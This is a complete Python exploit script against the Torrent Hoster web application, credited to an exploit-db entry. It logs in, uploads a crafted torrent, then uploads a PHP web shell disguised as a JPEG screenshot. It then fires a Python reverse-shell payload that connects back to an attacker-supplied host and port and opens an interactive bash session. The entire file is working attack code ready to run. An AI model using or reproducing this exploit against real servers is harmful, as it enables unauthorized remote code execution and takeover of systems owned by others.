# -*- coding: utf-8 -*-

# Torrent Hoster File Upload + RCE
# CVE: -
# Exploit author: El-Kahina
# https://www.exploit-db.com/exploits/11746
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import random
import requests
import string
import sys
from pwn import *
from torf import Torrent

def main():
    global torrent_id
    
    # args
    argparser = argparse.ArgumentParser(description='Torrent Hoster File Upload + RCE', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
    
    main_arg.add_argument('--rhost', type=str,
                            help='Victim host', 
                            required=True)
    
    main_arg.add_argument('--username', type=str,
                            help='Torrent Hoster username', 
                            required=True)
    
    main_arg.add_argument('--password', type=str,
                            help='Torrent Hoster password', 
                            required=True)
                            
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable burpsuite proxy')
    
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
    
    # cons
    rhost = args.rhost
    username = args.username
    password = args.password
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite
    
    # var
    torrent_id = None
    
    # session
    sess = requests.Session()
    
    # proxies
    proxies = { "http": "127.0.0.1:8080" }
    
    
    def string_generator(range_):
        letters = string.ascii_letters
        return ''.join(random.choice(letters) for i in range(range_))
    
    
    def reverse_shell(l):
        
        print(" [*] Spawning the reverse shell...")
 
        l.sendline("""whoami""")
        l.interactive()
        
        
    def login():
        
        params = {
            "username": username,
            "password": password
        }
        
        print(" [*] Logging into account...")
        
        try:
            if burpsuite:
                r = sess.post("http://{}/torrent/login.php".format(rhost), 
                                                                     data=params,
                                                                     proxies=proxies)
            else:
                r = sess.post("http://{}/torrent/login.php".format(rhost), 
                                                                     data=params)
        except Exception as e:
            print(e)
            print(" [*] Failed to login using the provided credentials due an error.")
            sys.exit(1)
        
        else:
            if "Invalid" not in r.text:
                print(" [*] Login successfully!")
                return True
            else:
                print(" [*] Failed to login using the provided credentials.")
                return False
            
    
    def generate_torrent():
        
        print(" [*] Generating the torrent file...")
        
        try:
        
            with open('/tmp/{}.txt'.format(randname),'w') as f:
                f.write(string_generator(20))
            f.close()
            
            t = Torrent(path='/tmp/{}.txt'.format(randname),
                trackers=['https://tracker1.{}.org:1234/announce'.format(randname),
                          'https://tracker2.{}.org:5678/announce'.format(randname)],
                comment='nullarmor@protonmail.com')
            t.private = True
            t.generate()
            t.write('/tmp/{}.torrent'.format(randname))
        
        except Exception as e:
            print(e)
            print(" [*] Failed to generate the torrent due and error.")
            sys.exit(1)
        
        else:
            print(" [*] Torrent generated with success!")
            return True
    
    def torrent_upload():
        global torrent_id
           
        print(" [*] Uploading the torrent file to Torrent Hoster...")
        
        files = {
            'torrent': ('{}.torrent'.format(randname), open('/tmp/{}.torrent'.format(randname), 'rb'), 'application/x-bittorrent'),
            'filename': randname,
            'type': (None, 3),
            'subtype': (None, 3),
            'user_id': '',
            'anonymous2': 'false',
            'anonymous': 'true',
            'autoset': 'enabled',
            'info': '',
            'hideuser': 'false',
            'submit': 'Upload Torrent'
        }
        
        try:
            if burpsuite:
                r = sess.post("http://{}/torrent/torrents.php?mode=upload".format(rhost), 
                                                                        files=files, 
                                                                        proxies=proxies)
            
            else:
                r = sess.post("http://{}/torrent/torrents.php?mode=upload".format(rhost), 
                                                                        files=files)
        
        except Exception as e:
            print(e)
            print(" [*] Failed to upload the torrent file.")
            sys.exit(1)
        
        else:
            torrent_id = r.text.split('torrents.php?mode=details&id=')[1].split("'><br><br")[0]
            print(" [*] Torrent ID generated: {}".format(torrent_id))
            
            return True
            
    
    def shell_upload():
        global torrent_id
        
        print(" [*] Generating the tmp web shell...")
        
        try:
            with open('/tmp/{}.php'.format(randname),'w') as f:
                f.write('<?php system($_GET["cmd"]) ?>')
                f.close()
        
        except Exception as e:
            print(e)
            print(" [*] Failed to generate the web shell...")
            sys.exit(1)
            
        
        print(" [*] Uploading the web shell...")
        
        files = {
            'file': ('{}.php'.format(randname), open('/tmp/{}.php'.format(randname), 'rb'), 'image/jpeg'),
            'submit': (None, 'Submit Screenshot')
        }
        
        try:
            if burpsuite:
                r = sess.post("http://{}/torrent/upload_file.php?mode=upload&id={}".format(rhost, 
                                                                                    torrent_id),
                                                                                    files=files,
                                                                                    proxies=proxies)
            else:
                r = sess.post("http://{}/torrent/upload_file.php?mode=upload&id={}".format(rhost, 
                                                                                    torrent_id),
                                                                                    files=files)
        
        except Exception as e:
            print(e)
            print(" [*] Failed to upload the web shell due an error :(")
            sys.exit(1)
        
        else:
            print(" [*] Web shell successfully uploaded at: http://{}/torrent/upload/{}.php?cmd=id".format(rhost, 
                                                                                        torrent_id))
            
            return True
                                                                                        
    
    def trigger_revshell():
        global torrent_id
        
        py_payload = "python -c 'import socket,subprocess,os;"
        py_payload += "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
        py_payload += "s.connect((\"{}\",{}));".format(lhost, lport)
        py_payload += "os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"
        py_payload += "p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
        
        l = listen(lport)
        
        print(" [*] Triggering the reverse shell connection...")
        
        try:
            sess.get("http://{}/torrent/upload/{}.php?cmd={}".format(rhost, torrent_id, 
                                                                     py_payload), timeout=5)
        except:
            reverse_shell(l)
    
    # main 
    print(" [>] Torrent Hoster File Upload + RCE")
    print(" [*] Python script exploit author: nullarmor")
    
    randname = string_generator(8)
    
    if login():
        if generate_torrent():
            if torrent_upload():
                if shell_upload():
                    trigger_revshell()
        
if __name__ == "__main__":
    main()
